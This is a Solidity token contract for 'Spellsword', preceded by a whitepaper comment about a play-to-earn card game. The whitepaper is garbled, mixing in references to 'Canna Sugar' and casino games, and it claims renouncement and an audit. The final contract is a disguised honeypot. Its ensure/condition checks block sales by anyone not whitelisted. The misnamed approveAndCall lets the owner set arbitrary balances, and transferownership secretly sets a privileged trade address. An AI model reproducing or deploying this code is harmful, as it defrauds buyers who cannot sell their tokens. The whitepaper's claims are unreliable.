/*Spellsword
Introduction
Decentralized collectible card games are built on blockchain technology with play to earn mechanics, which means, players are
now rewarded for their play time. Blockchain technology introduced the concepts of true digital scarcity and complete transparency, 
players can now own their digital assets. 100% Card ownership let players sell or trade their cards for cryptocurrencies.
Blockchain Trading card games are quickly catching up with traditional TCGs. Compared to other blockchain gaming genres the 
quality of the games are very high. With the added value of play-to-earn and NFTs, this is clearly the future of trading card games.
Spellsword is a Collectible Card Game where you access more powerful cards as the story adventure unfolds. With 7 main
classes to mix and match with, you can easily customize your own hero and deck to suit your individual play style. Adventure 
through a diverse world with heaps of quests and encounters. Hundreds of cards to acquire via loot or stores and unique crafting 
recipes for legendary cards that are lost artifacts. 
Spellsword project’s aim as a gamified deflationary token and what it stands to be as an application in the space of DeFi. Our aim 
at Spellsword is to create a decentralised app and platform that is backed by our flagship token By creating a deflationary smart contract 
with revolutionary tokenomics including a self buy back and burn system, we believe we have laid down the foundation we need to 
expand upon and build our dream. An NFT driven Trading Card game that is fun, rewarding and sustainable.
In gambling, it is no secret that the house always wins. The founders of the project believe that, in contrast, the treasury should 
belong to the players. This led the team to create a Spellsword, powered by ERC-20 token $SPELLS. Launching on Etherieum smart chain,
the project provides users with fast and inexpensive transactions on the ERC-20 network. Finally, Spellsword Games allows its users to earn
rewards for playing games, providing liquidity, and participating in governance.

NFTs
Blockchain technology in gaming is driven by non-fungible tokens (NFTs), digital assets that represent in-game content. These tokens are 
unique, rare, and indivisible, while the blockchain networks that underpin NFTs facilitate player ownership, provable scarcity, interoperability, 
and immutability. 
Spellsword offers a Play-to-earn game with a combination of multiple genres, built on ERC-20 ETHEREUM. The game aims to at entertaining 
players with simple but skill required to win levels which gets rewarded with $SPELLS tokens. We aim being a part of this massive NFT & 
Gaming revolution taking place in the crypto industry by using our expertise in the field. We believe in grabbing the opportunity presented by 
upcoming markets by giving an opportunity to the common man for earning by playing games online. 
Some of NFT games reward players with allow players to collect in-game NFTs that can then be sold for potential profit. Our Spellsword 
will offer one of those NFT games which provide players with tokens through skilled gameplay. All digital assets and data will be open sourced, 
giving easy access to all enthusiastic to contribute building   Spellsword with us while gaining a more unique and personal experience. 
$SPELLS is easy to play and earn tokens. 

Web3
Web3 developers never create and deploy web applications that operate on a single server or store data in a single database (usually hosted 
on and managed by a single cloud provider). Instead, web3 apps are built on blockchains, decentralized networks of numerous peer-to-peer 
nodes (servers), or a hybrid of the two. These programs are known as dApps (decentralized apps), and you'll hear that word a lot in the web3 community.   
Network participants (developers) are rewarded and compete to deliver the greatest quality services to everyone utilizing the service to establish 
a stable and secure decentralized network. When it comes to web3, you'll find that cryptocurrency is often mentioned. This is because many 
of these protocols rely heavily on cryptocurrencies. It offers a monetary incentive (tokens) to anybody who wishes to help create, control, contribute 
to, or improve one of the projects itself. 
These protocols may provide a range of services, such as computation, storage, bandwidth, identification, hosting, and other online services that 
were formerly supplied by cloud providers. Spellsword looks forward to using Web3 technology to transact online. This secure web3 technology 
system will ensure that no information is leaked from the network. It will also make sure that every transaction on Canna Sugar is completed securely,
safely, and fast.

Vision
The Open Metaverse is the next evolution of the internet, and play-to-earn ecosystems will play a crucial role in onboarding billions of people. 
Our vision is to be an early gateway by empowering anyone to join our community and earn while playing familiar games starting with virtual 
SPELLS. The $SPELLS economic architecture is the Genesis of a new chapter in online SPELLS market, focused on creating EV-positive 
economic opportunities for our players while onboarding 7 billion digital souls into The Open Metaverse. 

CORE VALUES
The core values of Spellsword are: 
TRANSPARENCY  
We want to make this project successful and bring an actual change. To achieve this, we have brought a transparent plan. The core value of 
Spellsword is transparency to the community. Being transparent with the community means we trust them enough to reveal certain bits of 
information, without offering too much information. The purpose of Spellsword is to offer play to earn games for SPELLS lovers in the metaverse 
in a community-based environment and involve a diverse group of NFTs holders and businesses all over the world focusing on the future 
gambling, SPELLSs, metaverse, and non-fungible tokens. $SPELLS token is aimed at providing value to the community. Transparency primarily 
involves two areas: proof of solvency and proof of legitimate trading volumes. Proof of solvency is critical because community and investors need 
to know the risk of engaging with a financial entity that holds their funds.

COLLABORATION 
There will be a constant collaboration with the investors, SPELLSs, gamers, and NFT businesses and marketplaces. Throughout history, communities
 have played an intrinsic part in how humans come together to share ideas, collaborate and align themselves with each other to incorporate a common
 identity. Since the dawn of time, it has been embedded in our DNA to naturally form tribes, factions, or groups to work together and produce better 
results than if we were to operate alone. $SPELLS allows the participation of the Community, should be fair and transparent. 
Collaboration is a key business enabler and parties decide to collaborate if: 
There is a business objective that cannot be achieved individually. 
There is value for all parties in reaching the objective. 
Communities acknowledge that the resulting value must be shared.

TRUST 
Trust has pivotal importance in the gambling, SPELLS, NFT, and blockchain market; it is the main building block of every business environment. 
It is essential to build up trust before digging into any contract. The NFT and crypto ecosystem require clarity not only in the community but also 
in the development and security of the users. Hence, we work to gain the trustworthiness of our users to grow and expand rapidly.

Spellsword Token
The native digital cryptographically-secured utility token of the Spellsword ecosystem. $SPELLS is a transferable representation of attributed 
functions specified in the protocol/code of the Spellsword ecosystem, which is designed to play a major role in the functioning of the ecosystem 
on the Spellsword ecosystem and intended to be used solely as the primary utility token on the network. 
$SPELLS is a non-refundable functional utility token which will be used as the medium of exchange between participants on the Spellsword 
ecosystem. The goal of introducing $SPELLS is to provide a convenient and secure mode of payment and settlement between participants 
who interact within the ecosystem on the Spellsword ecosystem, and it is not, and not intended to be, a medium of exchange accepted by the
 public (or a section of the public) as payment for goods or services or for the discharge of a debt; nor is it designed or intended to be used by 
any person as payment for any goods or services whatsoever that are not exclusively provided by the issuer. $SPELLS does not in any way 
represent any shareholding, participation, right, title, or interest in the Company, the Distributor, their respective affiliates, or any other company,
 enterprise or undertaking, nor will $SPELLS entitle token holders to any promise of fees, dividends, revenue, profits or investment returns, and 
are not intended to constitute securities in Singapore or any relevant jurisdiction. $SPELLS may only be utilized on the Spellsword ecosystem.
$SPELLS would also provide the economic incentives which will be consumed to encourage users to contribute and maintain the ecosystem on
the Spellsword ecosystem, thereby creating a win-win system where every participant is fairly compensated for its efforts. $SPELLS is an integral 
and indispensable part of the Spellsword ecosystem, because without $SPELLS, there would be no incentive for users to expend resources to 
participate in activities or provide services for the benefit of the entire ecosystem on the Spellsword network. 

KEY FEATURES 
Some key features of $SPELLS tokens are: 
Secured and safe: $SPELLS token leverages a distributed peer-to-peer consensus network that cryptographically helps in securing every transaction. 
Quick transfer: Instant fund transfer globally is available with the help of fast block execution unlike traditional remittance, unmatched speed, and
payment processors. Decentralized: Direct transactions among network participants without the presence of a central facilitator are enabled with the
help of decentralized technology.
Easy to use: User-friendly interface intended for seamless Real-world use cases. 
Scalability: Assures scalability for pacing up with the industry's transaction requirements, thereby facilitating mass adoption of cryptocurrency. 

BENEFITS OF SPELLSWORD
Spellsword offers following benefits to its users:
NEW FORMAT 
Unique and new. SPELLS platform allows admin to control every aspect- components, structure, content, and bonuses of the Spellsword. 
ALL INCLUSIVE 
More than 3,000 games from the leading game providers all over the world, a chatbot, an admin platform, bonus programs and much, much more. 
HIGH SPEED 
The Spellsword is fastly-paced allowing users to play many games in a shorter period of time. 
BONUS STRATEGIES 
Implement all the bonus strategies available in online SPELLSs, allowing you to retain and obtain new players. 
VARIETIES OF PAYMENTS 
Support for bank transfers, electronic wallets, international online systems, and transfers in cryptocurrency.
SEAMLESS SYNC 
Full synchronization of your online SPELLS on the web and Spellsword, making player authorization extremely easy. 

PROJECT SECURITY 
Spellsword values our security and confidence we want to instill in our community. That’s why we have completed various measures to prove our 
integrity and dedication to the longevity and security of Spellsword. The Spellsword team will lock liquidity for an extensive period and will continue
 to extend locks to showcase our desire for longevity. The Spellsword team were quick to establish the contract renouncing to relay our integrity 
and determination to prove our intent. We are pleased to say that we will have our token audited by TechRate and the report will be visible online.
*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}

contract Spellsword {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
       if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}